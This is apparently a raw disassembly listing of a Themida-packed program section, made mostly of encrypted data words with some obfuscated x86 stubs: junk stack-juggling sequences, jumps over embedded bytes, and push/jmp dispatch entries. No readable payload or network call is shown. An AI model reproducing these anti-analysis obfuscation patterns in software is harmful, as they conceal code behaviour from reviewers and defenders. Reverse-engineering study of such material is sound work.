dd 0BD830975h, 61217DDh, 50197400h, 0B8C08B53h, 3FCh, 858589h
dd 9D8D0612h, 614AE0Fh, 585BD3FFh, 17DDBD83h, 74000612h
dd 0B8535017h, 3FCh, 858589h, 9D8D0612h, 614AAFEh, 585BD3FFh
dd 6890Fh, 0D2810000h, 33812550h, 2820Fh, 0FEB70000h, 0E680C08Bh
dd 0ADBD83E9h, 1061207h, 6F840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F4B3FC3h
dd 688h, 0BFDA8100h, 8340291Dh, 120971BDh, 850F0006h, 39h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 18C35040h
dd 0CD7813BDh, 0BD836B39h, 6120D99h, 51840F00h, 0E9000000h
dd 5, 4F748EDBh, 31FE9E8h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 7DC3h, 0DD8A0000h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 4CC35545h
dd 0CD1320CBh, 7FDC7CCAh, 0B506CFB4h, 0B56F2187h, 0EB4CC9E8h
dd 0C1E597B7h, 0F1EDCD1Eh, 0B57ACD39h, 0E32AC98Eh, 7F926B84h
dd 38B376ACh, 0A0254F54h, 77EDAFEEh, 6593CC0Dh, 1CE3ABBh
dd 0B18588D5h, 0DF6CC98Ah, 0B6849A47h, 956CC9A3h, 3C370A8Ah
dd 3468EDB4h, 0A868ED30h, 0F66CC93Ah, 0A5E70A4Eh, 0A7EB3D73h
dd 4D2F71CFh, 5CBD7EACh, 0B56CC9C3h, 5C3CAF97h, 0C31C08E8h
dd 0DCF2050Fh, 4B3420Dh, 5D393375h, 0B56CC947h, 38148FEh
dd 0D36ADE1Bh, 0F5C72A69h, 0B56F497Bh, 493BC93Ah, 0D5AC4246h
dd 0B56F4281h, 3E0AC947h, 0D4339F53h, 0EAD7AF41h, 62E7999Bh
dd 0E36CA3E4h, 0B56CCAD2h, 7632E91Dh, 911840D0h, 91284843h
dd 0B56CDDA7h, 763A8FD1h, 0BBAE48C2h, 0BA2DDBE0h, 4B48853Bh
dd 5D3EC977h, 0B56CC98Dh, 0EFAF9367h, 0B1489D2Ah, 0B1488D50h
dd 0B56CC9FDh, 73AF9B36h, 0B50691E9h, 0B56F214Eh, 0EE4CC98Eh
dd 0E9E59284h, 0F1EDCD87h, 0B578CDF5h, 0E62FC9E8h, 0B969F2B7h
dd 0E6CC938h, 0BBCD8D4Dh, 0B506C105h, 0B56F2117h, 0ED4CC9A3h
dd 0F1E59112h, 0F1EDCDCCh, 0B577CD50h, 0E52CC93Ah, 0F9092CDEh
dd 0C87E1312h, 0B0E9C6FBh, 0E6CC9A3h, 80DC3F07h, 3E0A92B8h
dd 0BE85353Ch, 0BB6CC93Ah, 1675F9A6h, 73104542h, 0B4D4503Dh
dd 0E26CC9A3h, 0C9BF498Bh, 66E7AF79h, 24447A24h, 5D3EC950h
dd 0B56CC91Eh, 0EFAF93AEh, 0B1489DCEh, 0B1488D22h, 0B56CC9C5h
dd 42AF9BAAh, 0EBEA5DCEh, 6CE0AF72h, 5D3FC977h, 0B56CC98Dh
dd 0EEAF9267h, 0B148952Ah, 0B1488D50h, 0B56CC9F1h, 0D3AF9A37h
dd 0E26F8548h, 0B5622091h, 0C58C98Eh, 54FCFF9Ah, 1F57CEB2h
dd 1560733Bh, 0BA68081Eh, 0B56C5EF1h, 4863723Ah, 3359C0Eh
dd 0DD5549E9h, 0B5994C48h, 340AC9A3h, 3E5AB233h, 65E7C891h
dd 0B56C36F5h, 3763493Ah, 0B56CC9C2h, 30AB1F05h, 0B37B034Bh
dd 0B56CC9A2h, 35BF7EDEh, 7F85880Bh, 0DF6CC974h, 0B684983Ah
dd 956CC91Dh, 3C350AD7h, 3468ED0Bh, 0AD68EDE7h, 0F46CC9D1h
dd 7290AB9h, 0E78CD804h, 0B5CD2061h, 0B506C91Dh, 0B56F21D9h
dd 0EA4CC947h, 0C9E59660h, 0F1EDCDF5h, 0B57BCDCCh, 0E22BC974h
dd 353F5FF9h, 0B5622033h, 0A3A5C98Eh, 9AC4A3AEh, 1DFFDEEBh
dd 311DD06Fh, 0E06CA3B1h, 0B56CCA9Ch, 7631E93Ah, 91004040h
dd 9128488Ah, 0B56CD343h, 76398CA3h, 0B13C02CDh, 0D3F89FFDh
dd 4A67B0F7h, 0B52D4D35h, 0B506C91Dh, 0B56F21DBh, 0E84CC947h
dd 0D9E59460h, 0F1EDCDF5h, 0B574CDCCh, 0E029C974h, 0F24A3CF9h
dd 0BA0C94C2h, 0A630F39h, 5C3AA8B0h, 0B56CC9ABh, 8CB6047Ah
dd 4A9C97B2h, 0B9E90E2Fh, 0B46ADEF0h, 0FD6CC91Dh, 43DC7077h
dd 30E1BD1Ah, 0B37B0767h, 7847745Ch, 4D57CFFFh, 0BA5CCE00h
dd 5E2B00EBh, 0E56CA3E8h, 0B56CCA66h, 7634E947h, 912840FBh
dd 912848D5h, 0B56CD4ECh, 763C8974h, 4133D7h, 2AF0B69Eh
dd 350C94EDh, 0BA3F78ACh, 0D4353014h, 8EF1A67h, 0B37ECE45h
dd 0F5E8C675h, 0DF6CC93Ah, 0B684981Dh, 956CC98Eh, 3C350A1Eh
dd 3468EDEFh, 0A368ED95h, 0F46CC9E8h, 644B0A25h, 0C4D14A9Ah
dd 0B56ADB14h, 0B5794C81h, 0F0AC947h, 8EF9CC6h, 0B37EC448h
dd 0A6E8C6E8h, 0D36CC974h, 5C5CEF80h, 0B56CC9DAh, 1D9E48DDh
dd 0EF0DD0FEh, 8EFCB11h, 0B37ECE7Ch, 16E9C6E9h, 0DF6CC974h
dd 0B6849F3Ah, 956CC91Dh, 3C320AD0h, 3468ED33h, 0AF68EDE7h
dd 0F36CC9D1h, 44D10ABEh, 0A7776326h, 0F9E73CEh, 0DF31F553h
dd 0B684988Eh, 956CC947h, 3C350AFAh, 3468ED9Dh, 0AE68EDACh
dd 0F46CC974h, 56100A6Bh, 0E688D643h, 0DFAFF0A0h, 0B6849E47h
dd 956CC9A3h, 3C330A8Eh, 3468ED94h, 0A968ED30h, 0F26CC93Ah
dd 0CF990A4Ah, 0AD6EEF38h, 0F811F18h, 0B2B761E7h, 0B56CFF38h
dd 0E46CA3E8h, 0B56CCA9Ch, 7635E93Ah, 91204044h, 9128488Ah
dd 0B56CDF43h, 763D88A3h, 5C09B724h, 0B56CC9EEh, 67AA6D69h
dd 3431027Dh, 6C171ADFh, 353F06B2h, 3836EE9Ch, 0A2A6FB1Eh
dd 24E144D7h, 0D6ADE26h, 0CE569569h, 0A6E94C09h, 7A47CF0Fh
dd 1A43DC70h, 6730E1BDh, 5CB37B07h, 0FF784774h, 4D57CFh
dd 0EBBA5CCEh, 835E2B00h, 0A4F305E9h, 0CA0CBD83h, 74000617h
dd 0B58D8D0Dh, 0B806124Dh, 1, 0F40E1FFh, 1C81h, 16860F00h
dd 0E9000000h, 11h, 0EC19221h, 3556540Ch, 8F23D82Ch, 68CB9446h
dd 0D381664Fh, 6A785Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 0FBC7F4C3h, 19AC6320h, 0D3BF0FA7h
dd 6A2DE883h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 8B39C357h, 0C08B8636h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B9C35040h, 0E590BA66h
dd 0B4A2F3Ah, 91BD83D8h, 6121Bh, 0BD830975h, 61217DDh
dd 50197400h, 0B8C08B53h, 3FCh, 22958589h, 9D8D0612h, 614AE76h
dd 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h, 3FCh, 22958589h
dd 9D8D0612h, 614AB17h, 585BD3FFh, 6850Fh, 0DA810000h
dd 1DD59F59h, 8BDA8B66h, 0EE8C0h, 76DD0000h, 2C08FF38h
dd 96E20D3Dh, 0ACBC2AA2h, 5FC28B66h, 81F3BF0Fh, 731EC7h
dd 12E900h, 0D020000h, 61BF4F81h, 67261554h, 737D13D0h
dd 87A9F9Dh, 0B5F2B8BBh, 1AEB817Ah, 0E97AB5D6h, 0Ah, 0D521495Dh
dd 0D88ACDDBh, 0F8B1621h, 0F181C38Bh, 473A2D8h, 0C181D58Ah
dd 3F65F938h, 0C181E78Ah, 0FAEA041h, 0C38B51F9h, 0F08B078Fh
dd 6604EF83h, 4BB1CABEh, 19850Fh, 29E90000h, 72000000h
dd 0F0885A1Bh, 1C9E8979h, 7D3CAA5Dh, 1E87F036h, 665EF87Ch
dd 0E9E484BAh, 0FFFFFFAEh, 8A9F2DD4h, 0EAEC132h, 0CAD25BA3h
dd 2AE9h, 6052D00h, 1Bh, 8 dup(0)
dd 0E9000000h, 0BA4h, 17D21D68h, 7A54E906h, 0FA68FFFBh
dd 0E90617D2h, 0FFFB7A4Ah, 17D45568h, 7A40E906h, 5F68FFFBh
dd 0E90617D5h, 0FFFB7A36h, 17D86568h, 7A2CE906h, 0C768FFFBh
dd 0E90617D9h, 0FFFB7A22h, 17DAC768h, 7A18E906h, 455DFFFBh
dd 4E57A159h, 5056A058h, 4C549E56h, 53509A52h, 452B9B53h
dd 0DC5E1C2h, 0AC2DCC3h, 0AC2E4C0h, 5BDE1C0h, 2CD4EAE5h
dd 21B39679h, 247D26A3h, 3BCBD3CDh, 71FB8B5Eh, 0A2B66E30h
dd 0ABC1B291h, 0BB93C5CAh, 0E980B6Bh, 12914A3Bh, 0B6C3E045h
dd 22CA18C6h, 174C6C35h, 35C83046h, 0CA7D4C6Ch, 0BC14A4F7h
dd 4C6C3568h, 1F877232h, 9A24B487h, 2F0C9C0Ah, 788EF2AFh
dd 4C6C3590h, 0AF3F12C5h, 0E1277F25h, 0CF21A4BDh, 99BE4ED3h
dd 0DB6A421Eh, 2Fh, 0C386B326h, 0C10FBCD2h, 7D30BB93h
dd 415395EDh, 960B4C6Ch, 0B6EE7808h, 828660F0h, 36683999h
dd 0C151163h, 41D65700h, 0B21D6Ah, 7D680000h, 60EA7A24h
dd 49D36343h, 2CB64658h, 0FAC44575h, 0C6226852h, 0DE233BF3h
dd 0B4B58156h, 79F04EDh, 5A180016h, 9A4DB581h, 0DCC50FC7h
dd 8352D1C2h, 0C2A60D5Ch, 0CD21B104h, 0A4ECDDBCh, 3613A3FBh
dd 0B7DCF2E3h, 0A8BB9303h, 18293DF5h, 0C1583755h, 7BE224Ch
dd 65CA3D50h, 1304D76Ch, 78141AFDh, 9B8C3F42h, 9E565053h
dd 99574F54h, 3ADAC46Ch, 6716EE86h, 9A000009h, 94DE9608h
dd 93DD9511h, 91DB9313h, 8DD78F0Fh, 68D89016h, 0A6FD08h
dd 0FDA1FE48h, 0FDA9FB45h, 0F8A6FB45h, 0F252040h, 0B3967BE9h
dd 7D61DE5Ch, 7EC88026h, 66C37B23h, 0D2C386B3h, 0A24A6019h
dd 97B581A9h, 864391E4h, 0B7BB93C1h, 0C6564857h, 6C2516E9h
dd 6C41AE56h, 9DF0A34Ch, 4173B50Dh, 5D594C6Ch, 0B224A3C4h
dd 4EC02A9h, 394C6C39h, 39EFCF86h, 95C20E61h, 0DF6A41EEh
dd 9Ah, 0DDC40C2Ah, 0B3EE6EC1h, 0D2D15BEBh, 14944D4h, 9370009Eh
dd 0AE29F240h, 1E83B581h, 42D2CCD3h, 5D37AE65h, 961F34B1h
dd 0E0C10BC3h, 0A9DA2EBEh, 0BEE3F9EAh, 0AF446C5Ch, 33044FCh
dd 0E9394F40h, 8C427BA2h, 3A0E8D9h, 20F3ABF6h, 21851E68h
dd 0DA1A1463h, 0D6AE463Ah, 88Ah, 0BB732B77h, 0BA723471h
dd 0B8703670h, 0B46C326Eh, 0B56D396Ah, 0C7DC2B45h, 0C2DD27DFh
dd 0CADA24DCh, 0C7DA24DCh, 4FF1FD7h, 967B06EEh, 40BD3BB3h
dd 0C880267Dh, 0C4DAC50Dh, 0EEB0F171h, 247DD936h, 4160EA7Ah
dd 0A9C3293Fh, 0C376B581h, 172438F0h, 0A6FB4334h, 6CCAE214h
dd 683B16CDh, 0B7A8FBD8h, 0B5E9B6FEh, 0A7F54825h, 0BB9303C2h
dd 50CFC073h, 9A7D59EFh, 5C4A5BA1h, 0C91CEFCCh, 0FFF2AF39h
dd 8F6CFCA2h, 0E7BA04BCh, 0CFCF27B7h, 0BFB0EBFAh, 852184CCh
dd 0EF233832h, 0EA34ECB2h, 0FF57E7B7h, 0D3EBBD26h, 0D0918AAEh
dd 5A5ACC51h, 0FD50CDEEh, 0C27A247Dh, 0E5752978h, 0EB0C5E8Dh
dd 7ADF01D3h, 0DB930B96h, 0FE8E1091h, 0C9BA99AAh, 0F97ED2B3h
dd 0F8B063DDh, 3F4D7E4h, 0CBC56CEDh, 703191DBh, 0C412FA10h
dd 9447EFC7h, 65EEEC1h, 0EFC7C421h, 98B4ADA9h, 9E94DBFh
dd 4B8B5h, 0BB730000h, 80715061h, 0A7376738h, 708677CAh
dd 0BB93D227h, 64AC9D50h, 0FAD7673Fh, 0A0DDEDA7h, 0F06BBCACh
dd 0C70F00C3h, 8677CADCh, 8DCCA770h, 8D1DD0A6h, 58490839h
dd 98000142h, 928336ACh, 0F548564Ah, 9C034B04h, 42957202h
dd 7BFDFC2h, 0FCBAE4BDh, 0D9FAF8E7h, 2F653DD5h, 0D2000007h
dd 0CC16CED0h, 0CB15CDD9h, 0C913CBDBh, 0C50FC7D7h, 0A010C8DEh
dd 386E35D0h, 35693680h, 3571337Dh, 306E337Dh, 475D5878h
dd 0B3967DA1h, 7D991694h, 0CED8CD24h, 0F1706BFBh, 673C118Bh
dd 1BD2AF3Fh, 4A9D402Bh, 32E6DCCAh, 542FC0FDh, 67F7AFF4h
dd 2CE4B78Ah, 0E094h, 84B3F700h, 0DB2334C1h, 8ADDC9h, 198D1868h
dd 90788E89h, 0C5B581A9h, 94129212h, 39221E04h, 0EE362F86h
dd 41653EB3h, 38211B6Eh, 2FBA4B0Ch, 642964h, 0B3740000h
dd 0BAD0C184h, 0B581A96Dh, 3DC7570Ah, 0C7823A64h, 0EC7C227Fh
dd 653CBC0Fh, 66AEA939h, 0BFE7BC3Dh, 2C7F522Fh, 1F2D1E2h
dd 93CA2AEBh, 0A7984BBBh, 0CE5E405Fh, 0B20E9EF1h, 0B6A1ADB6h
dd 0BE6A41D5h, 1Eh, 654163ABh, 530C7F12h, 81A9D73Dh, 0A3B98AB5h
dd 0B581A97Dh, 176A3DF0h, 0FF49h, 86B3AC00h, 0FFBCD2C3h
dd 0A0BB93D6h, 85342FEDh, 66FE30EEh, 6258Eh, 0D8C6DC00h
dd 0D7CFD620h, 0D5D1D51Fh, 0D1CDD31Dh, 0D2D4CF19h, 3FC6AA1Ah
dd 408A4264h, 3D873F5Fh, 3D873F67h, 62823A64h, 7CAB5167h
dd 209EB396h, 0C184B3A3h, 0FC418A34h, 3E368403h, 0F93F44C0h
dd 3728FBABh, 817FFB21h, 68BB6EB5h, 0FE59F56Eh, 76642EE8h
dd 75h, 18861B63h, 84B332C5h, 117D0C1h, 0B581A91Bh, 0BB489B4Eh
dd 8881C611h, 0F256340h, 0B581A9E9h, 46D6A95Ch, 71C1669h
dd 2FBE5007h, 432464h, 0B36F0000h, 8A34C184h, 0ACFAAA6Ah
dd 0E50B211Ch, 58B581A9h, 258125A5h, 0A2B7BB95h, 59C2C41Bh
dd 81B140ABh, 6D93A9B5h, 0E04A7E51h, 0EA695A2Dh, 861F5F5Ah
dd 0E7876920h, 256A2F5h, 7464302Eh, 0FFFFFE86h, 0C184B3BFh
dd 0D36A8A34h, 0CF1748D1h, 613ECED0h, 0BE95C20Eh, 6ADF642Fh
dd 2A000002h, 8F80267Dh, 0F74A5C47h, 0F7C3DD67h, 0AD5DC0DFh
dd 19F1F79h, 0B03ACA9Dh, 3A303F6h, 8916A030h, 11358515h
dd 9D997508h, 574F5484h, 1B65E49Fh, 0DA5D9546h, 0B7EC6CBFh
dd 0FE0B5FEFh, 0F2712A1Bh, 9114F853h, 0F1A88515h, 24775915h
dd 93E809D6h, 0FB8B3EBBh, 0D4041D21h, 0D51FD7CFh, 9FE7D8CEh
dd 3512A204h, 2EFA52E2h, 704C6FBBh, 56E07036h, 0DDC3534Bh
dd 112778E1h, 4C6FB9EBh, 92D8AB5Eh, 0FBB4F56Eh, 6FB93FE5h
dd 0CED2324Ch, 2AAAFDD0h, 2B752D79h, 4A9E2E78h, 53695A39h
dd 427DAF0Ah, 677D36EFh, 465A5381h, 4DB301B4h, 465A53h
dd 0A255FA4Dh, 60762FEAh, 465A53B8h, 5DA7FAADh, 0C37C6D2Ch
dd 307E287Bh, 465A53C8h, 8677CA7Dh, 48211770h, 0DD6D2048h
dd 9A0C9AE2h, 8CDA2D0Ah, 58486164h, 10F1438h, 623C64F0h
dd 0FF889E8Fh, 38565A13h, 0D9159485h, 0AE425732h, 5FA961B4h
dd 42CC5C42h, 0CC873F5Fh, 0F1811D84h, 92653967h, 58C4F53Fh
dd 0EECB5B4Bh, 29712A1Bh, 0DF30977h, 405236FDh, 1967BA8Dh
dd 5C24917Ch, 9B9626D9h, 3BB0C11Ch, 88DB0F6Dh, 245CEE3Ah
dd 0AFEFB054h, 970F951Fh, 30292D07h, 0DA3F3B8Dh, 89C62D2Ah
dd 5C4782h, 0B5340000h, 84C0FE36h, 93E684h, 0D73D530Ch
dd 8AB581A9h, 5A2D792Ah, 208CBD07h, 5F502383h, 93C1F849h
dd 7A0ABDBBh, 8D6C377Fh, 20FD8D19h, 8DE0BD4Dh, 6C41E53Fh
dd 37F0E34Ch, 5FEFB7EFh, 41CC3482h, 0CE814C6Ch, 0FD50564Eh
dd 69EE1E03h, 0DC6A41D6h, 3F920C94h, 0A77Dh, 247DC800h
dd 0A7EFEA7Ah, 32E0C5FDh, 3756D56Eh, 0A4F7D464h, 97277F24h
dd 5452549Ch, 1494E7C4h, 0F781118Dh, 813CF4AAh, 4F05C102h
dd 82D57873h, 81E0EF34h, 0C2DCC5B5h, 6C5F60Ah, 1CA1FF15h
dd 988BB96h, 0F2BBBE3Dh, 44947029h, 0CC096A12h, 4E01A6F9h
dd 188E155Dh, 358D1660h, 0A27C79F2h, 6F2D00EEh, 30E8950Eh
dd 1FC49C34h, 0E2000003h, 0DC26DEC0h, 0DB25DDC9h, 0D923DBCBh
dd 0D51FD7C7h, 0B020D8CEh, 485E45C0h, 45594690h, 4561438Dh
dd 405E438Dh, 576D6888h, 0B39671B1h
dd 7DA926A4h, 7EC88026h, 66C37B23h, 0EA7A247Dh, 293F4160h
dd 0B581A9C3h, 38F0C376h, 7A247DDBh, 0B04160EAh, 421FAFEFh
dd 96A3B76Fh, 0CBACC2B3h, 6CBB93C5h, 4C9F859Bh, 1FD24C6Ch
dd 8064BC4Ch, 0DA4C6C4Ch, 0C24CDCCAh, 0E030C0DEh, 0CE20A7BCh
dd 9ABD49D2h, 0DA6A41D5h, 35h, 4D8D0C25h, 216CDBB5h, 0C3D87DAh
dd 85465C4Dh, 0BABB93C9h, 0C51F7707h, 954C6C59h, 7C069610h
dd 12EC7C2Ah, 2072150Eh, 480F3F24h, 2C6A41CEh, 0F4h, 7A247D77h
dd 52BAD089h, 7B581A9h, 76710154h, 3CDF77F7h, 58863D69h
dd 0F373C68Ah, 0DC66F6B0h, 0A0E8D9C5h, 320F9FFFh, 0D5544FDFh
dd 98FD1173h, 37B70A2Dh, 647C346Ah, 0B5817A9Fh, 3AF2ACF5h
dd 13C4007Fh, 7A0A1C42h, 28E8AAC3h, 0ACFF0AA1h, 3829752Ch
dd 0F1B5F0h, 810802EAh, 318437B5h, 5D3C4DA1h, 6D3D566Ch
dd 5F12BB93h, 287E266Eh, 0B068BB98h, 0BBAC6F9Ch, 7826CDA5h
dd 0DCCD8042h, 0DF970F94h, 0AF556B24h, 0A2465879h, 7955BBD1h
dd 55084658h, 0F4AF2F82h, 819DF4B2h, 17AF3ADAh, 1BD3Fh
dd 405E4400h, 3F673E88h, 3D693D87h, 39653B85h, 3A6C3781h
dd 0A75E1282h, 0A8F2AAFCh, 0A5EFA7F7h, 0A5EFA7FFh, 0CAEAA2FCh
dd 7053B9CFh, 8806B396h, 0E1C40C0Bh, 0B1F272C5h, 0E4BC04F5h
dd 0FA4D2ABAh, 0B8CE8742h, 0B581A950h, 7FFF5205h, 67C47C22h
dd 0D2C386B3h, 93C10FBCh, 0ED7D30BBh, 6C415395h, 25950B4Ch
dd 0FA3E46B0h, 9996CF1h, 0F080267Fh, 0C26D482Fh, 7E2FE8BDh
dd 0CE20A7BCh, 9ABD49D2h, 0DA6A41EFh, 0BBh, 80267FC7h
dd 129313F0h, 7DAE4194h, 60EA7A24h, 0D8D36343h, 3F921490h
dd 81AE28F1h, 0DDC911B5h, 495D49C9h, 732B76F6h, 6E3071BBh
dd 9A798ADEh, 30FE93A9h, 8403446Ch, 0A53699B8h, 0D86333A1h
dd 9D912FF1h, 1FD277CAh, 0B6265367h, 0F2E3B6F0h, 1AAAFCAAh
dd 0E3F9EA3Dh, 427B6C28h, 31796A1Dh, 0C29F2F6Fh, 6D367E6Fh
dd 6C378139h, 0DC0F7C3Ah, 952D3ADBh, 0BDBDh, 405E4400h
dd 3F673E88h, 3D693D87h, 39653B85h, 3A6C3781h, 0A75E1282h
dd 0A8F2AAFCh, 0A5EFA7F7h, 0A5EFA7FFh, 0CAEAA2FCh, 7353B9CFh
dd 8806B396h, 318D0C0Bh, 0AE21AF10h, 0E7BC3C8Fh, 0E4BD07BFh
dd 7DA502BAh, 60EA7A24h, 91A55D41h, 68B0A160h, 2516693Dh
dd 997A400Fh, 0B242F5BBh, 0BB417928h, 563E353Ch, 0C711C99Ch
dd 6890A6DAh, 0DD4C6995h, 0E766572Ah, 9D7AF100h, 0F80EFF82h
dd 4C69B110h, 0AF3F9245h, 7B9B3B57h, 72E7E32Bh, 0AA9B039Eh
dd 0D2624462h, 0A0EAA2F5h, 830D9D01h, 4890811Dh, 64F44757h
dd 3D9D868Ah, 38823A64h, 0CDA53569h, 0Ah, 0E2C40C30h, 45734C4h
dd 257D1AB5h, 425FE979h, 6242CC5Ch, 752AB444h, 940F9929h
dd 0ABF88212h, 0BFE16BFBh, 0E1C54FDFh, 0FAAB35C5h, 57391CACh
dd 0C781E789h, 4, 4EF81h, 3C870000h, 4895C24h, 4716824h
dd 2C890000h, 7FB96824h, 34890000h, 35BF5724h, 4F7DB86Ah
dd 0EFC1E7D1h, 8FBB5306h, 1022A0Dh, 0FD895BDFh, 348B545Fh
dd 4C48124h, 55000000h, 0BF243481h, 8F1CE912h, 0BA520846h
dd 8, 3281F201h, 1CE912BFh, 24348B5Ah
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55B50E
; ---------------------------------------------------------------------------
db 1Fh
dd 0E5C1ABA7h, 17DBA9B8h, 0FFC50306h, 6CC6BDE0h, 0CCA1F135h
dd 0E03E5200h, 2145AA19h, 93EC1B5Ah, 6B81209h, 9ADBF43Eh
dd 9F970278h, 4631CE65h, 0A636D53Ah, 0BA4AD23Fh, 431B743Fh
dd 9263318h, 9F7F8D04h, 9979B957h, 86A0646Fh, 46AE4B09h
dd 72714B25h, 0C8DAE04Ch, 9D14CD19h, 0A3B13154h, 30A48838h
dd 21409144h, 968D8D7Ah, 6A0617DDh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0ED51C352h
dd 0F9E16A4h, 689h, 3D858900h, 31061210h, 1214E585h, 0A18D8906h
dd 6A061209h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 0C76BC352h, 12050585h, 602006h
dd 13E900h, 3D320000h, 7FC63B63h, 0A6E69FF9h, 77BE5EE0h
dd 664AE052h, 0D985C775h, 6121Bh, 8B000000h, 1218F99Dh
dd 69B5FF06h, 6A06122Ah, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 0BF16C352h, 12BED2Eh
dd 876F5EB3h, 48F0Fh, 0BE660000h, 95FF9F28h, 6121B31h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0D1C35545h
dd 89A380BEh, 122055B5h, 0FF006A06h, 1219CD95h, 0EBC08B06h
dd 0B9AE320Eh, 8CF70187h, 30CA1439h, 0E8E17A7Eh, 11h, 0AE309A0Bh
dd 0A37FB0CFh, 0D147189Ah, 3FF4D540h, 6659F5AEh, 0C181DE8Bh
dd 6D00h, 0A59D8B60h, 306121Bh, 122B1D8Dh, 31BA6106h, 810A846Dh
dd 7BADDAC2h, 4DBD01F5h, 8B061214h, 299D8B01h, 8106120Dh
dd 326DF5E8h, 0B1CB8166h, 815EED5Ah, 7F5BA3E8h, 8820F23h
dd 60000000h, 66F1B70Fh, 8161DF8Bh, 3E4A08C0h, 0BEBE664Bh
dd 0BF665007h, 18F414Dh, 1F918589h, 0E9810612h, 3F7D5FB6h
dd 317DBD8Bh, 0C1810612h, 3F7D5FB2h, 6830Fh, 0B58B0000h
dd 612261Dh, 1EA81h, 850F0000h, 1Bh, 3F3FEBBFh, 2AE957h
dd 0D7E70000h, 7009952Eh, 335F5BCEh, 0FCDA4E0Eh, 8A8BC547h
dd 0FF75E9DEh, 15C4FFFFh, 58C2F396h, 7346F4B6h, 0EF73C7BCh
dd 0BEBD45F3h, 0DF638D8Dh, 6A0617h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0EC6A35C3h
dd 114D9D89h, 8D0F0612h, 8, 0B9B58956h, 5806122Ch, 9A18D89h
dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 16029C3h, 12057D8Dh, 0D68B6606h, 585C761h
dd 88061205h, 6A00006Eh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0AE9FC350h, 0A3DE013Ch
dd 2C959D8Bh, 85C70612h, 6121BD9h, 0
; ---------------------------------------------------------------------------
mov esi, [ebp+61204D5h]
push dword ptr [ebp+6121B85h]
pusha
mov [ebp+6123161h], esi
jmp loc_5A4968
; ---------------------------------------------------------------------------
dd 0FD03923Bh, 92950135h, 0BD299D2Dh, 0EF7D573Ah, 1B1CDCDDh
; ---------------------------------------------------------------------------
loc_5A4968: ; CODE XREF: Themida_:005A494Fj
popa
call dword ptr [ebp+6121B31h]
movsx eax, di
push 0
call dword ptr [ebp+61219CDh]
mov eax, eax
jmp short loc_5A49A6
; ---------------------------------------------------------------------------
mov esp, 3BE48766h
xchg eax, ecx
retf
; ---------------------------------------------------------------------------
db 37h, 0F0h, 9Eh
dd 5CC1D0A5h, 32622616h, 0A7419C69h, 0D8E52ADh, 0B23363B5h
dd 0E6E5847Eh, 0A1FDD74Ch
db 93h, 0B2h
; ---------------------------------------------------------------------------
loc_5A49A6: ; CODE XREF: Themida_:005A497Cj
jmp loc_5A49FB
; ---------------------------------------------------------------------------
db 0A5h
dd 179D7Ah, 57000000h, 434AC51Ch, 0F9366148h, 88A7A5ADh
dd 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h, 9D8993h, 921DF4C7h
dd 0DE196063h, 8 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5A49FB: ; CODE XREF: Themida_:loc_5A49A6j
jmp loc_5A5500
; ---------------------------------------------------------------------------
push 617E0F2h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617E262h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617E361h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617E419h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617E50Ch
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617E60Fh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617E6C0h
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617E87Bh
jmp loc_54EA15
; ---------------------------------------------------------------------------
push 617E95Eh
jmp loc_54EA15
; ---------------------------------------------------------------------------
dw 6053h
dd 726656F4h, 827A6A08h, 9C928220h, 0B3A89836h, 0E140AD4Bh
dd 78167E73h, 8F2D9188h, 0A846A69Fh, 0C260BEB8h, 0C9F162C3h
dd 0D07600E7h, 0EA5C6BBDh, 0E73EA80Fh, 0AB289268h, 57621A0h
dd 69FF8C23h, 93691462h, 0AD9D3B99h, 0F75255B3h, 51C26DF4h
dd 70164690h, 0E54C6FB9h, 0EED8B1FBh, 59EDBEB8h, 363099E3h
dd 0FDA840D8h, 527AEB74h, 596FE94Ah, 0CFC9A10Bh, 5A30D371h
dd 0BD95FF63h, 76265C3h, 0C4281D04h, 68321D7Bh, 82851D5Dh
dd 60E9942Ch, 2A2D958Ah, 36F76AD4h, 5769FC0Fh, 0B850B0A9h
dd 35286FC6h, 2A78A73h, 95Dh, 4A20E01h, 18B62014h, 30CE3028h
dd 46E44A40h, 5BF96156h, 2C2193EEh, 3F3626C4h, 544D3DDBh
dd 6C6656F4h, 1071700Eh, 0E7779Fh, 21738676h, 64BB150Fh
dd 293C1310h, 0F32586Bh, 1BB3B880h, 31C92B23h, 207E782Eh
dd 63FEED82h, 828A47B8h, 6DBB69FBh, 85ED196Ah, 4C2575FBh
dd 0FD41986Ch, 4B88DE2Fh, 2E000000h, 35E0636Ah, 97016B5Fh
dd 3011830Ch, 0ECB06796h, 50679E3h, 4469FB4Ch, 393C9E96h
dd 8EF6EBE3h, 0F29D358Bh, 56C0261Ch, 3D340A73h, 0D0FC6FD9h
